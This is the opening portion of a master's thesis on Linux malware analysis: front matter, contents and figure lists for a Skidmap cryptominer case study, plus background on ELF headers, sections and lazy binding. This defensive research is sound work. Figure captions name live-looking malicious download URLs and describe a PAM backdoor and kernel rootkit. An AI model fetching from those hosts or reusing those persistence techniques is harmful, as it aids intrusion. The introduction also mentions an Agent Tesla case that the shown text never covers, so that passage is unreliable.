

UNIVERSITY OF PIRAEUS SCHOOL OF INFORMATION AND COMMUNICATION TECHNOLOGIES DEPARTMENT OF DIGITAL SYSTEMS

Postgraduate Program of Studies MSc Digital Systems Security

MASTER THESIS

Linux Malware Analysis

Ανάλυση κακόβουλου Λογισμικού σε "Linux" Περιβάλλον

Ioannis Dervisis

Supervisor Professor: Christos Xenakis

Piraeus 17/03/2021 **MASTER THESIS**

Linux Malware Analysis

Ανάλυση κακόβουλου Λογισμικού σε "Linux" Περιβάλλον

Ioannis Dervisis SID: 1908

Abstract

The scope of this thesis is the study of Malware Analysis on Linux environments in a systematic and detailed manner, based on SAMA methodology. Moreover, the ENISA guidelines were advised for creating a modular laboratory, capable of isolating the infected VMs and providing them with Internet connection or a simulated one by applying the appropriate rules. A variant of "Skidmap" cryptomining trojan was selected as the sample to be analyzed and extensive effort was given in reversing its code as well as studying its behavior to fully understand the intentions. Beyond its core functionality are findings such as the communication means, the servers used to deploy their next stage, the evasive techniques, and the way that those were bypassed.

SUBJECT AREA: Linux Malware Analysis **KEYWORDS**: Malware Analysis; SAMA; Skidmap

Acknowledgements

First and foremost, I would like to express my sincere gratitude to my colleague and friend Konstantinos Valsamakis, who greatly contributed for the completion of this thesis.

I would also like to thank my supervisor, Prof. Christos Xenakis for his guidance, inspiration, and assistance, and all the professors that generously shared their knowledge.

I owe my deepest gratitude to Hellenic Air Force for their financial support and for giving me the opportunity to develop myself as well as to Prof. Panagiotis Karampelas and Lieutenant Colonel George Karaferis for believing in me.

Finally, I would like to acknowledge the support and love of my family and friends.

Table of Contents

1		Intro	oduct	ion	1
2	Theoretical Background			2	
	2.	1	Defi	nitions	2
	2.	2	The	ELF file structure	3
		2.2.	1	The executable header	3
		2.2.	2	Program Headers	6
		2.2.	3	Sections	7
		2.2.	4	Section Headers	9
3		Met	hodo	logy and Tools	12
	3.	1	Met	nodology	12
	3.	2	Тоо	ls	13
4		Lab	Setu	ıp	16
	4.	1	Netv	vork Topology	16
	4.	2	REN	Inux GW VM Setup	17
		4.2.	1	Import Appliance	18
		4.2.	2	System Update	19
		4.2.	3	Network Configuration	19
		4.2.	4	Additional Software Installation	20
		4.2.	5	Firewall Scripts	22
		4.2.	6	Configuration of "BurpSuite Community Edition"	27
	4.	3	REN	Inux Analysis VM Setup	29
		4.3.	1	Importing Appliance	30
		4.3.	2	Network Configuration	30
		4.3.	3	Firewall Script Testing	31
		4.3.	4	Applying system updates	36
		4.3.	5	Additional Software Installation	36
	4.	4	Ubu	ntu VM	37
		4.4.	1	Creating a new machine	37
		4.4.	2	Ubuntu Installation	40
		4.4.	3	Network Configuration	40
		4.4.	4	Firewall Script Testing	41
		4.4.	5	Applying system updates	43
		4.4.	6	Additional Software Installation	43
5		The	use	case of "Skidmap" malware	44
	5.	1	Clas	sification	44

	5.1.	.1 Malware transfer	44
	5.1.2	.2 Using "DIE"	45
	5.1.3	.3 Calculating the "ssdeep" checksum	46
	5.1.4	.4 Applying "YARA" rules	47
	5.1.	.5 Antivirus	47
	5.1.6	.6 Unpacking	48
	5.1.7	.7 Unpacked sample classification	48
5	.2	Code Analysis	49
	5.2.	.1 The "writepam" function	49
	5.2.2	.2 The "writePublic" function	53
	5.2.3	.3 Debian	54
	5.2.4	.4 CentOS – RedHat	58
	5.2.5	.5 Returning to "main" function	61
	5.2.6	.6 Downloaded files	63
	5.2.7	.7 Installation files	67
	5.2.8	.8 Other binaries	72
	5.2.9	.9 Other script files	87
5	.3	Behavioral Analysis	
	5.3.	.1 Lab Modification	
	5.3.2	.2 CentOS and Nethserver VMs	94
	5.3.3	.3 WireShark	97
	5.3.4	.4 Strace	101
	5.3.	.5 chkrootkit	105
	5.3.6	.6 Filesystem analysis	
	5.3.7	.7 Other Findings	108
5	.4	Summary	
5	.5	Conclusions	112
6	Abb	previations	113
7	Bibli	liography and References	115

List of Figures

Figure 2.2.1.1 – ELF Views	3
Figure 2.2.1.1 - The ELF header structure	4
Figure 2.2.1.2 – Analyzing the "e_ident" array	5
Figure 2.2.2.1 – The program header structure	6
Figure 2.2.3.1 – Redirecting ".text" function calls through ".plt" stub	8
Figure 2.2.3.2 – Transferring control to dynamic linker	9
Figure 2.2.3.3 – Completed "lazy binding" procedure	9
Figure 2.2.4.1 – Section header structure	. 10
Figure 2.2.4.1 – "SAMA" higher level hierarchy	. 12
Figure 2.2.4.1 – Lab Architecture	. 17
Figure 2.2.4.2 – Discovering the Virtual Host-Only Network Adapter	. 17
Figure 2.2.4.1 – The use of InetSim and BurpSuite on REMnux GW	. 18
Figure 4.2.1.1 – REMnux GW Adapters	. 18
Figure 4.2.3.1 – The edited /etc/network/interfaces	. 19
Figure 4.2.3.2 – Network Connectivity Verification	. 20
Figure 4.2.4.1 – The modified dnsmasq.conf	. 20
Figure 4.2.4.2 – Installing Web GUI for "iptables"	. 21
Figure 4.2.4.3 – The "iptables" web GUI	. 21
Figure 4.2.5.1.1 – The internet firewall file	. 22
Figure 4.2.5.1.2 – The "reset-iptables.sh" file	. 23
Figure 4.2.5.2.1 – The "inestim firewall" file	.24
Figure 4.2.5.2.2 – The inetsim.conf.backup file	. 25
Figure 4.2.5.3.1 – the burp_internet.firewall file	. 26
Figure 4.2.5.4.1 – The inetsim-burp.conf	. 26
Figure 4.2.5.4.2 – The burp_inetsim.firewall	. 27
Figure 4.2.6.1.1 – Proxy Options tab	. 27
Figure 4.2.6.1.2 – Proxy Listener Addition	. 28
Figure 4.2.6.1.3 – Traffic Redirection through "BurpSuite Community Edition"	. 28
Figure 4.2.6.1.4 – Saving the newly created "burp-internet_proxy-listeners.json"	. 29
Figure 4.2.6.1.5 – Verifying availability of saved proxy listeners	. 29
Figure 4.3.1.1 – Setting up the network adapter	. 30
Figure 4.3.2.1 -Modifying "etc/netplan/01-netcfg.yaml"	. 30
Figure 4.3.3.1 – Testing "internet.firewall" connections	. 31
Figure 4.3.3.2 – Testing "inetsim firewall" HTTP connections	. 31
Figure 4.3.3.3 – Testing "inetsim.firewall" HTTPS connections	. 32
Figure 4.3.3.4 – Testing "burp_inetsim.firewall" and "burp_internet.firewall" connections	. 32
Figure 4.3.3.5 – Downloading CA Certificate	. 32
Figure 4.3.3.6 – Navigating to "Preferences"	. 33
Figure 4.3.3.7 – Modifying trust settings	. 33
Figure 4.3.3.8 – Converting ".der" to ".crt"	. 34
Figure 4.3.3.9 - Adding "portswigger.crt" to the Cas	. 34
Figure 4.3.3.10 – Checking the installation of "portswigger.crt"	. 35
Figure 4.3.3.11 – Switching to simulated traffic	. 35
Figure 4.3.3.12 – "InetSim" response	. 36
Figure 4.3.5.1 - Updating "ClamAV" signature database	. 36
Figure 4.3.5.2 – Executing "gdb-pwndbg"	. 37
Figure 4.4.1.1 – Naming the VM and selecting OS	. 38

Figure 4.4.1.2 – Creating new VDI	. 39
Figure 4.4.2.1 – Filling the credential-related fields	.40
Figure 4.4.3.1 – Creating a new Wired profile	.41
Figure 4.4.3.2 – Configuring "IPv4" tab	.41
Figure 4.4.4.1 – Checking the VM's behavior under "burp_internet.firewall"	. 42
Figure 4.4.4.2 – Checking the VM's behavior under "burp_inetsim.firewall"	. 42
Figure 5.1.1.1 - Password protected sample	.44
Figure 5.1.1.2 – Decompressing the sample	. 45
Figure 5.1.2.1 – Viewing sample characteristics on "DIE"	. 46
Figure 5.1.2.2 – The MD5 hash of the sample	. 46
Figure 5.1.3.1 – Calculating "ssdeep"	. 47
Figure 5.1.4.1 – Applying "YARA" rules	. 47
Figure 5.1.5.1 – Scanning "Skidmap" sample with "ClamAV" anti-virus engine	. 47
Figure 5.1.5.2 – Searching SHA256 hash on "VirusTotal"	. 48
Figure 5.1.6.1 – Unpacking "UPX" packed sample	. 48
Figure 5.1.7.1 – Checking "unpacked_sample" on VirusTotal	.49
Figure 5.1.7.2 – Applying "http" as filter	.49
Figure 5.2.1.1 – Examining "pam_unix.so" existence	. 50
Figure 5.2.1.2 – access arguments	. 50
Figure 5.2.1.3 – Replacing system's "pam_unix.so"	. 50
Figure 5.2.1.4 – "Selecting the "binarypam" bytes	. 50
Figure 5.2.1.5 – Selecting format	.51
Figure 5.2.1.6 – Converting copied bytes	.51
Figure 5.2.1.7 – Setting access and modification timestamp	. 52
Figure 5.2.1.8 – Converting UNIX hexadecimal to timestamp	. 52
Figure 5.2.1.9 – Verifying altered timestamps	. 52
Figure 5.2.1.10 – Checking "setenforce" for execute permission	. 52
Figure 5.2.2.1 – Getting access to "/root/.ssh/authorized keys"	.53
Figure 5.2.2.2 – Printing the "/root/.ssh/authorized keys"	.53
Figure 5.2.2.3 – Granting "authorized keys" the immutable attribute	.54
Figure 5.2.3.1 – OS detecting	.54
Figure 5.2.3.2 – Dynamically searching for the other comparison operand	.55
Figure 5.2.3.3 – identifying the md5 hash	.55
Figure 5.2.3.4 – Changing file permissions and executing miner2	.55
Figure 5.2.3.5 – "miner2" download methods	.56
Figure 5.2.3.6 – Selecting the "ApplySig py"	57
Figure 5.2.3.7 – Selecting signatures database	57
Figure 5.2.3.8 – Sugar pool and author's wallet	57
Figure 5.2.3.9 – Sugar transactions	58
Figure 5.2.4.1 – Comparing MD5 hashes	58
Figure 5.2.4.2 – Downloading the given file	59
Figure 5.2.4.3 – Inserting LIRI to ANY RUN	60
Figure 5.2.4.4 – Decrypting and Decompressing the downloaded file	60
Figure 5.2.4.5 – Decrypting and Decompressing the downloaded measurements $-2.4.5$ – Decrypting "cos8 tar az"	.00. 60
Figure 5.2.4.6 $_$ Decompressing "8cos tar az"	61
Figure 5.2.4.0 – Decompressing coostal.yz	.01 61
Figure 5.2.4. $r = Actions performed on the extracted files$.01 .01
Figure 5.2.5.1 – Companing WD5 hashes	20.
Figure 5.2.5.2 – GOII and 10.50 Granges kills	. UZ
rigure 5.2.5.5 – File removal and program kills	. 02

Figure 5.2.5.4 – Killing running processes	63
Figure 5.2.5.5 – Configuring "cron" to run "pamdicks.org"	63
Figure 5.2.6.1 – Failing to recover the contents of "cos7.tar.gz"	63
Figure 5.2.6.2 – VT results for "cos7/bin/pamdicks-sugar"	66
Figure 5.2.6.3 – VT results for "cos7/rm"	66
Figure 5.2.6.4 – VT results for unpacked "cos7/rm"	67
Figure 5.2.7.1 – The first part of "cos8/install.sh"	68
Figure 5.2.7.2 – The second part of "cos8/install.sh"	69
Figure 5.2.7.3 – The "cos8/install-net.sh" script	69
Figure 5.2.7.4 – The "cos7/install.sh" script	70
Figure 5.2.7.5 – the argument of "install-net.sh"	70
Figure 5.2.7.6 – the "cos7/install-net.sh" script	71
Figure 5.2.7.7 – The "install-ssh.sh" installation script	72
Figure 5.2.8.1 – Hardcoded "pam_unix.so" password	72
Figure 5.2.8.2 – The CPU miner software	73
Figure 5.2.8.3 – Cryptocurrency mining pool and wallet address	73
Figure 5.2.8.4 – Possible mining pools	74
Figure 5.2.8.5 – Failing to check "monero" wallet's balance	75
Figure 5.2.8.6 – Altering "iproute.ko", "netlink.ko" and "cryptov2.ko"	75
Figure 5.2.8.7 - Dropping "loadxjump", "systemd-udeved", "kswaped" and "mingety"	76
Figure 5.2.8.8 – The creation of "netlink.ko"	77
Figure 5.2.8.9 – Main functionality of "cos8/bin/kaudited"	78
Figure 5.2.8.10 – The function "mal_kswaped_create"	78
Figure 5.2.8.11 – The certificated created by "kaudited" of "cos8.tar.gz"	79
Figure 5.2.8.12 – TCP keepalive error	79
Figure 5.2.8.13 - The core functionality of "kswaped"	80
Figure 5.2.8.14 – The core functionality of "mingety"	80
Figure 5.2.8.15 – Clearing log and "cron" files	81
Figure 5.2.8.16 – The malicious "rm" binary	82
Figure 5.2.8.17 – The "system-udeved.service" file	82
Figure 5.2.8.18 – The "cos8.tar.gz" "netlink.ko" module	83
Figure 5.2.8.19 - The "hacked_getdents" function	83
Figure 5.2.8.20 – Analyzing "crytpov2"	85
Figure 5.2.8.21 – Multiple LKM versions	86
Figure 5.2.9.1 – The "clear.sh" script	88
Figure 5.2.9.2 – The "last.sh" script	88
Figure 5.2.9.3 – Editing the "var/run/xiscsd"	89
Figure 5.3.1.1 – The "inetsim-skidmap.firewall" script	90
Figure 5.3.1.2 – The "burp inetsim-skidmap firewall" script	91
Figure 5.3.1.3 – Modifying "inetsim-skidmap.conf"	92
Figure 5.3.1.4 – Checking the "InetSim" responses	93
Figure 5.3.2.1 – Error while moving "network-7.9"	95
Figure 5.3.2.2 – Assigning IP address to "Nethserver" VM	96
Figure 5.3.3.1 – Requesting for "http://a.powerpfwish.com/miner2"	97
Figure 5.3.3.2 - TCP connections to "sugar.couminer.com"	
Figure 5.3.3.3 – Requesting for "http:a.powerofwish.com/cos7.tar.gz"	98
Figure 5.3.3.4 – "pamdicks.sugar" DNS queries	
Figure 5.3.3.5 – Downloading "co8s tar.gz"	100
Figure 5.3.3.6 – "pamdicks.org" DNS requests	100
U	

Figure 5.3.4.1 – "pam_unix.so", "SELinux" and "authorized_keys" related system calls	101
Figure 5.3.4.2 – Tracing "chattr" related system calls	102
Figure 5.3.4.3 – Fingerprinting OS and searching for a way to download "miner2"	102
Figure 5.3.4.4 – Tracing "miner2" related system calls	103
Figure 5.3.4.5 – Viewing the first part of the "strace" output	103
Figure 5.3.4.6 – Viewing the "CentOS" specific system calls	104
Figure 5.3.4.7 – Viewing the infinite code looping	104
Figure 5.3.4.8 – Failing to locate "/usr/bin/kaudited" file on "CentOS" v8	105
Figure 5.3.5.1 – Applying "chkrootkit" on "Ubuntu" VM	105
Figure 5.3.5.2 – Applying "chkrootkit" on "Nethserver" VM	106
Figure 5.3.5.3 - Applying "chkrootkit" on "CentOS" VM	106
Figure 5.3.6.1 – Viewing the filtered "changes" file	107
Figure 5.3.6.2 – Viewing the files that failed the MD5 comparison	108
Figure 5.3.7.1 – Revealing the protection mechanism	108
Figure 5.3.7.1 – Correlation of OS, downloaded file and "pam_unix.so" backdoor version	109
Figure 5.3.7.2 – CentOS v7 related files	110
Figure 5.3.7.3 – CentOS v8 related files	111

List of Tables

Table 2.2.1.1 – The "e_type" possible values	5
Table 2.2.1.2 – The "e_machine" values	5
Table 2.2.2.1 – The "p_type" values	7
Table 2.2.2.2 – The "p_flag" values	7
Table 2.2.4.1 - Section header types	. 10
Table 2.2.4.2 – Section header flags	.11
Table 2.2.4.3 – "sh_type", "sh_link" and "sh_info"" field correlation	.11
Table 3.2.1 – List of Analysis tools	.13
Table 5.1.7.1 – Classification findings	. 48
Table 5.2.6.1 – MD5 hashes of the decompressed files	.64
Table 5.2.6.2 - MD5 hashes of the unpacked binaries	. 65
Table 5.2.8.4.1 – The binaries and the accepted M55 hash	.77
Table 5.2.8.6.1 – The LKMs of "CentOS" v7 and their MD5 hash	. 87
Table 5.2.8.6.2 - The LKMs of "CentOS" v8 and their MD5 hash	. 87
Table 5.3.1.1 – Available ".firewall" scripts for "Skidmap" analysis	. 94
Table 5.3.3.2 – DNS requests	. 99

1 Introduction

According to the ENISA Threat Landscape 2020 annual report [1] regarding the most frequently encountered cyberthreats, the category "malware" holds the first place since 2013. It is observed that in 2020 alone, 677 million programs were related to malicious activity worldwide, where cryptominers were one of the most prevalent malware family. This number is disturbing and demonstrates the criticality of this matter as well as the importance of the malware analysis field of study.

It was attempted to report the actions performed during the malware analysis process in an informative and detailed manner, so that minimum knowledge is required by the reader and more individuals to be inspired and get involved with this field. However, it was considered necessary to define some key concepts of this field as well as to briefly introduce the Linux (ELF) executable file structure.

Moreover, the methodology that this thesis is relied upon is the "Systematic Approach to Malware Analysis" (SAMA) [2], and it was selected as it best describes the series of actions needed to perform such an analysis. Also, a plethora of tools was tested, but those of preference are listed. Although the tools suggested in SAMA are mainly targeted to PE analysis, it is a generic methodology that can be applied on any sample and therefore it was adjusted for the ELF malware as well.

The Lab that was set up is modular, meaning that additional VMs with the appropriate configuration (adapter attachment to the internal network, IP assignment and CA certificate installation, etc.) can be added as needed. The benefit of this approach is that the network connection of every analysis VM can be controlled from a single VM (the GW) with the use of the appropriate script. Internet connection and simulated internet connection, with or without interception are the possible states that can be applied. However, each VM is addressed to a specific stage of the analysis as well as to a specific filetype and therefore it differs significantly from the rest of the VMs, so each configuration is separately described.

An "Agent Tesla" variant was selected as the use case of Windows malware analysis which revealed many interesting findings. Beneath its core functionality the multiple infection stages, the obfuscation mechanisms, the ways to bypass them and the C2 communication methods were unraveled. The core functionality consists of credential harvesting methods which were enabled, and persistence techniques, geolocation services, keylogger and screen capturing options which were disabled.

As for the Linux OS, a "Skidmap" variant is studied. Since it is a relatively new malware, it remains undetected from most AV engines and its analysis is extended due to the variety of different dropped files depending on the Linux OS and its version. There are multiple persistence and evasive techniques implemented which exponentially raise the effort and time needed for the analysis.

2 Theoretical Background

In this chapter, the basic terminology of Malware Analysis is explained [3] [4] [5], and a brief overview of the PE and ELF files structure is presented [6].

2.1 Definitions

Malware, short for malicious software, is the family of software that is taking advantage of the system's resources which is being executed, on behalf of its author, without the user's consent or by deceiving the user to give his consent.

Malware analysis is the systematic and detailed examination of a malware sample in an isolated environment, aiming to extract adequate information about its functionality and behavior in order to understand the extent and the effects of an infection, and provide information in order for treatment measures to be created.

Static Analysis is the type of Malware Analysis where information regarding the malware sample is extracted without executing its code.

Dynamic Analysis is the type of Malware Analysis where information regarding the malware sample is extracted by executing its code.

In malware analysis, the term **obfuscation** can be defined as the processing of a malware's code by its author, in order to render it unreadable and thus harden the process of code inspection and reverse engineering.

Packing is the obfuscation technique that uses compression to achieve its purpose.

Since malware can be renamed in order to deceive the end user, hash functions are used to uniquely identify them. File renaming does not affect the hash function result, as it is not part of the code. The process of hash derivation is also known as **file fingerprinting**. Upon obtaining the fingerprint of the sample, it can be used to collect more information about it by providing it as an input to "VirusTotal" or similar online tools.

Backdoor is a method of bypassing authentication in a computer system or software which can be used by an attacker as an entry point to launch an attack.

Rootkit a malicious piece of code that is very hard to identify, and its main functionality is usually to hide its existence and the activity of a malware that comes along with it. They are extremely dangerous because they modify the infected System's OS internally, rendering their detection extremely challenging.

Remote administration tool (RAT) is generally a feature that a malware provides, but lately, the existence of really sophisticated pieces of code that provide nothing more than remote access, rendered them as a specific malware category. Its purpose, very similar to desktop sharing software, provides the attacker with unauthorized administrative access.

Cryptominer can be categorized as a malware which sole purpose is to use the infected systems resources in order to mine digital currencies called "cryptocurrencies". There are also rare occasions where "cryptominers" have been reported to steal data.

2.2 The ELF file structure

ELF stands for Executable and Linkable Format and is the default file format of Linux binary files for Executable files, object files, shared libraries and core dumps. It was in 1999 when the ELF was chosen as the standard because of its flexibility, extensibility, and cross-platform support for different address sizes and endian formats. By design it is not limited to specific hardware architecture, processor or instruction set thus it is in use by many different Unix and Unix based operating systems like Linux, Solaris, OpenBSD. In addition, it can be found on many mobile devices that run Android OS and surprisingly enough, it can even be found on game consoles like the PlayStation and the Wii.

It consists of four types of components, the executable header, the program headers, the sections and the section headers. Program headers, as well as section headers are optional components depending on the view (Figure 2.2.1.1).



2.2.1 The executable header

The very first component of an ELF file is the executable header. This part of the binary confirms that the inspected file is an ELF one and provides the analyst with information regarding the file type and the mapping to the rest of the components.

/* The ELF file header. This appears at the start of every ELF file. $*/$							
#define EI_NIC	#define EI_NIDENT (16)						
typedef struc {	t						
Elf32_Half Elf32_Half Elf32_Word Elf32_Addr Elf32_Off Elf32_Off Elf32_Word	e_type; e_machine; e_version; e_entry; e_phoff; e_shoff;	/* Object file type */ /* Architecture */ /* Object file version */ /* Entry point virtual address */ /* Program header table file offset */ /* Section header table file offset */ /* Section reposition flags */					
Elf32_Word Elf32_Half Elf32_Half Elf32_Half Elf32_Half Elf32_Half Elf32_Half Elf32_Half	e_flags; e_ehsize; e_phentsize; e_phnum; e_shentsize; e_shnum; e_shstrndx;	/* Processor-specific flags */ /* ELF header size in bytes */ /* Program header table entry size */ /* Program header table entry count */ /* Section header table entry size */ /* Section header table entry count */ /* Section header string table index */					
<pre>} Elf32_Ehdr; typedef struc {</pre>	t						
unsigned ch Elf64_Half Elf64_Half Elf64_Word Elf64_Off Elf64_Off Elf64_Off Elf64_Half Elf64_Half Elf64_Half Elf64_Half Elf64_Half Elf64_Half Elf64_Half Elf64_Half Elf64_Half	e_type; e_machine; e_version; e_entry; e_phoff; e_shoff; e_flags; e_ehsize; e_phentsize; e_shentsize; e_shentsize; e_shnum; e_shstrndx;	EI_NIDENT]; /* Magic number and other info */ /* Object file type */ /* Architecture */ /* Object file version */ /* Entry point virtual address */ /* Program header table file offset */ /* Section header table file offset */ /* Processor-specific flags */ /* ELF header size in bytes */ /* Program header table entry size */ /* Program header table entry size */ /* Section header table entry size */ /* Section header table entry size */ /* Section header table entry count */ /* Section header table entry count */					

Figure 2.2.1.1 - The ELF header structure

The structure of the header is defined in the "/usr/include/elf.h" file and has the above format (Figure 2.2.1.1). A 16-byte array named "e_ident" is immediately observed. The very first four bytes of this field which are "0x7F" followed by "0x45", "0x4c", and "0x46" ASCII character codes that translate into the three letters E, L, and F. Those bytes are also called "magic bytes" and they identify a binary, in this case an ELF one. Right after the "magic bytes", comes the EI_CLASS byte which denotes the ELF's specification regarding the architecture; 32-bit files contain the value of 1, opposing to the 64-bit that contain the value of 2. The following byte (EI_DATA) is referred to the endianness of the file and may have the value 1 when it is using little-endian or the value of 2 when it comes to big-endian. Next, comes the EI_VERSION which is a byte reserved for the version of the ELF file, where the only valid value can be 1 and translates to EV_CURRENT. Next in the line is the EI_OSABI byte which identifies the operating system and application binary interface (ABI) to which the file is targeted and the EI_ABIVERSION that provides information about the specific version of the ABI. The default values are 0 which means that it is designed for UNIX System V. The rest bytes of the array (positions 9 to 15) are used for padding and their value is set to 0, as they are reserved for possible future use (Figure 2.2.1.2).

Linux Malware Analysis - A Skidmap case study



Figure 2.2.1.2 – Analyzing the "e_ident" array

The field that succeeds the "e_ident" array is the "e_type" which defines the binary type. The following table (Table 2.2.1.1) depicts the possible values of this field among with their meaning [7].

Table 2.2.1.1 –	The	"e_	type"	possible	values	
-----------------	-----	-----	-------	----------	--------	--

Name	Value	Meaning	
ET_NONE	0	No file type	
ET_REL	1	Relocatable file	
ET_EXEC	2	Executable file	
ET_DYN	3	Shared object file	
ET_CORE	4	Core file	

Right after it is the "e_machine" field which describes the architecture of the system on which the binary is going to run. The following table (Table 2.2.1.2) shows some possible "e_machine" values [8].

	Table 2.2.1.2 –	The "e	_machine'	' values
_				

Name	Value	Meaning	
EM_386	3	Intel 80386	
EM_X86_64	62	AMD x86-64 architecture	
EM_ARM	40	Advanced RISC Machines ARM	

The next filed, named "e_version" is almost identical to the "EI_VERSION" byte in the "e_ident" array mentioned above. It indicates the current version of the "ELF" specification which is always set to 1.

One of the most important fields for malware analysis is the "e_entry" field as it provides the analysts with information about the entry point of the binary. Entry point is the first address where the Instruction pointer will be pointing after the binary is loaded into virtual memory, in other words it is the start of the executable code.

"E_flag" field is reserved to provide more information regarding the targeted architecture. If it refers to x86 binaries, the value of this field is set to 0.

The "e_ehsize" field is the one that holds the executable header's size in bytes. For 32-bit x86 binaries the size is 52 bytes, while for 64-bit x86 binaries the header size is always 64 bytes.

Linux Malware Analysis – A Skidmap case study

Finally, "ELF" binaries contain a section named ".shstrtab" (string table section) where all section names of the file are stored as strings. The value of the execution header's field "e_shstrndx", is an index to the header of this section.

2.2.2 Program Headers

As you may already know, static linking is a process that takes place in the linking phase, during compilation time by a program named linker, which differs from the compiler. On the other hand, dynamic linking is happening during the execution, by the dynamic linker, which is part of the operating system. The information that these programs need to perform the linking (section headers and program headers), are contained in two separate tables: the section header table and the program header table. The offsets (in bytes) from the beginning of those tables are indicated by "e_shoff" and "e_phoff" fields of the executable header. In case, there is not such a table, which may be possible since both section and program headers are optional, those values are set to 0. In addition, the "e_phentsize" and "e_shentsize" fields store the size of each program or section header, while the "e_phnum" and "e_shnum" store the number of headers in each table.

In ELF binaries, there are two different views of the code and data. The first one is the section view and it is described/defined by the section headers, one for each section. The other view is the segmented view, that is described/defined by the program headers. The section view is a structure intended to be used by the linker during the link time (part of the compilation phase). On the contrary, the segmented organization of the ELF file is suitable for the dynamic linker to perform it task, which is the linking of the executable (and any other libraries or objects) on virtual memory at runtime.

The program or a section header can be thought as the properties of each segment or each section respectively. While sections have their own address space on the binary, there is not a segment part. This happens because segments are just another way of viewing the code. Segments are a construction of 0 or more sections.

The segments view as well as the mapping between segments and sections can be viewed using of the following command:

\$ readelf -wide -segments <file>

The fields of each program header are shown on the following figure (Figure 2.2.2.1), as they are defined in the "/usr/include/elf.h" file.

/* Program segment header. */		
typedef struc Elf32_Word Elf32_Off Elf32_Addr Elf32_Addr Elf32_Word Elf32_Word Elf32_Word Elf32_Word Elf32_Word Elf32_Phdr	p_type; p_offset; p_vaddr; p_paddr; p_filesz; p_memsz; p_flags; p_align;	/* Segment type */ /* Segment file offset */ /* Segment virtual address */ /* Segment physical address */ /* Segment size in file */ /* Segment size in memory */ /* Segment flags */ /* Segment alignment */
typedef struc { Elf64_Word Elf64_Word Elf64_Off Elf64_Addr Elf64_Addr Elf64_Xword Elf64_Xword Elf64_Xword Elf64_Xword } Elf64_Phdr;	p_type; p_flags; p_offset; p_vaddr; p_paddr; p_filesz; p_memsz; p_align;	/* Segment type */ /* Segment flags */ /* Segment file offset */ /* Segment virtual address */ /* Segment physical address */ /* Segment size in file */ /* Segment size in memory */ /* Segment alignment */

Figure 2.2.2.1 – The program header structure

First of all, the "p_type" field is observed, which denotes the type of the segment. The most common values of this field [9] are presented on the following table (Table 2.2.2.1)

Name	Value	Meaning
PT_LOAD	1	Loaded into memory when setting up the process
PT_DYNAMIC	2	Information to the interpeter on how to parse and prepare the binary for execution
PT_INTERP	3	The name of the interpreter that is to be used to load the binary
PT_PHDR	6	Encompasses the program header table

Table 2.2.2.1 -	The	"p_	_type" values	
-----------------	-----	-----	---------------	--

The next field in the row, is the "p_flags" and holds the permissions of the specific segment. The possible values [9] are listed on the following table (Table 2.2.2.2)

Name	Value	Meaning
PF_X	1	Execute
PF_W	2	Write
PF_R	4	Read

Table 2.2.2.2 – The "	p_flag" values
-----------------------	----------------

The "p_offset" field indicates the offset from the beginning of the binary at which the first byte of the segment appears.

The "p_vaddr" contains the virtual address of the first byte of the segment in memory.

The "p_paddr" is a legacy field which was used to specify the address in physical memory at which to load the segment. It is unused and always set to zero since all binaries get executed in virtual memory.

The "p_filesz" is nothing more than the size in bytes of the segment in the binary

The "p_memsz" indicates the size in bytes of the segment in memory.

The "p_align" field is responsible for the memory alignment in bytes for the segment. If the value is set to either 0 or 1 it indicates that no special alignment is required, else it must contain a value that is a power of 2 and "p_vaddr" modulo "p_align" must be equal to "p_offset" modulo "p_align".

2.2.3 Sections

Right below the program headers are the sections of the binary. These can be listed using the following command:

\$ readelf -sections -wide <file>

In ELF specification? There are two sections whose sole purpose is to initialize and finalize the binary; the ".init" and the ".fini", which are executable sections. Understandably, therefore, the instructions of the ".init" section must be executed prior to any other section's instruction, and upon

completion, the control is then transferred to binary's main entry point. Similarly, the instructions of the ".fini" section are executed post to the completion of the main program.

The actual main program's code is located in the ".text" section. Since it contains executable code, the section must be executable.

Besides executable code, though, binaries consist of data, either constant or variable. Constant data is stored on the ".rodata" (read only data) section which is not meant to alter during execution and thus it is not writable. On the contrary, a lot of variables are often altered during execution, and the section they are stored in, needs to be writable. There are two different sections for this reason; the ".data" section where the initialized variables are stored and the ".bss" (block started by symbol) section where space is reserved for uninitialized variables.

It is therefore important to note that if a section is writable and executable at the same time, it is prone to tampering and exploiting techniques. It is often a packing indication. [5]

During the linking phase of the compilation of a program, the linker resolves statically only a fraction of the calls that the binary contains. More often, it is the dynamic linker that performs last time relocations which are happening during runtime. In reality though, these relocations do not actually resolve when the binary is loaded to virtual memory, instead they are postponed until the actual call to the unresolved location is made. This procedure is commonly known as "lazy binding".

To achieve this, the Procedure Linkage Table (".plt") and the Global Offset Table (".got") sections are used. As a matter of fact, ".got" section is not meant to be used only for the "lazy binding" process, and in Linux systems there is a special section, named ".got.pl", for this purpose.

The role of the ".plt" section is to direct calls from the ".text" section to the location that the actual function code resides. Initially, when such a call is made, the control is transferred to the ".plt" stub. However, the address of the actual function is still unknown (Figure 2.2.3.1).



Figure 2.2.3.1 – Redirecting ".text" function calls through ".plt" stub

Consequently, the ".plt" transfers the control to the dynamic linker in order to get the address of the function. Next, after the address is resolved and stored on the ".got.plt", the function is executed (Figure 2.2.3.2).



Figure 2.2.3.2 – Transferring control to dynamic linker

Once the "lazy binding" has been completed for this function, the ".got.plt" holds the correct address of the function, and any other call to it won't have to go through the dynamic linker again (Figure 2.2.3.3).



Figure 2.2.3.3 – Completed "lazy binding" procedure

Typically, a binary contains a lot of sections regarding relocation. The name of those sections always starts with the prefix ".rel.*" or ".rela.*".

2.2.4 Section Headers

The fields for both 32-bit and 64-bit section headers are listed below (Figure 2.2.4.1).

/* Section header. */			
typedef struc	t		
Elf32_Word Elf32_Word Elf32_Word Elf32_Addr Elf32_Off Elf32_Word Elf32_Word Elf32_Word Elf32_Word Elf32_Word Elf32_Word Elf32_Word	sh_name; sh_type; sh_flags; sh_addr; sh_offset; sh_size; sh_link; sh_info; sh_addralign; sh_entsize;	/* Section name (string tbl index) */ /* Section type */ /* Section flags */ /* Section virtual addr at execution */ /* Section file offset */ /* Section size in bytes */ /* Link to another section */ /* Additional section information */ /* Section alignment */ /* Entry size if section holds table */	
typedef struc {	t		
